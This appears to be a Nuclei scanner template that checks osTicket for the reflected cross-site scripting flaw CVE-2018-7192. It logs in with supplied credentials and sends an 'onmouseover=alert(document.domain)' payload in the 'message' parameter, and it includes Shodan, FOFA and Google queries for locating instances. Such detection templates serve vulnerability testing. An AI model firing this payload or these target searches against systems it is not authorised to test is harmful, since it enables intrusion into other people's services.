CVE-2018-7192: osTicket < 1.10.2 - Cross-Site Scripting

id: CVE-2018-7192

info:
  name: osTicket < 1.10.2 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in /ajax.php/form/help-topic in Enhancesoft osTicket before 1.10.2 allows remote attackers to inject arbitrary web script or HTML via the "message" parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
  remediation: |
    Upgrade osTicket to later version to mitigate this vulnerability.
  reference:
    - https://blog.securityevaluators.com/vulnerabilities-found-in-popular-ticketing-system-dd273bda229c
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7192
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-7192
    cwe-id: CWE-79
    epss-score: 0.00775
    epss-percentile: 0.72764
    cpe: cpe:2.3:a:osticket:osticket:*:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: osticket
    product: osticket
    shodan-query: title:"osTicket"
    fofa-query: title="osticket"
    google-query: intitle:"osticket"
  tags: cve,cve2018,osticket,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /scp/login.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "osticket")'
        internal: true

    extractors:
      - type: regex
        name: csrftoken
        part: body
        group: 1
        regex:
          - '__CSRFToken__" value="(.*?)"'
        internal: true

  - raw:
      - |
        POST /scp/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        __CSRFToken__={{csrftoken}}&do=scplogin&userid={{username}}&passwd={{password}}&ajax=1

      - |
        GET /ajax.php/form/help-topic/1?a934f512c6644b03=&message=dgh7r%20onmouseover%3dalert(document.domain)%20style%3dposition%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%20qavj5 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "dgh7r onmouseover=alert(document.domain) style=position:")'
          - 'contains(header, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402207b78ec0328d328dcb1735f15219b264511d2627a8513f15b6c9fc7882ae93ef70220009ee470995d8a8f562c02449da5be88913705bb4a6b53c9be2478a8aa7f25d5:922c64590222798bb761d5b6d8e72950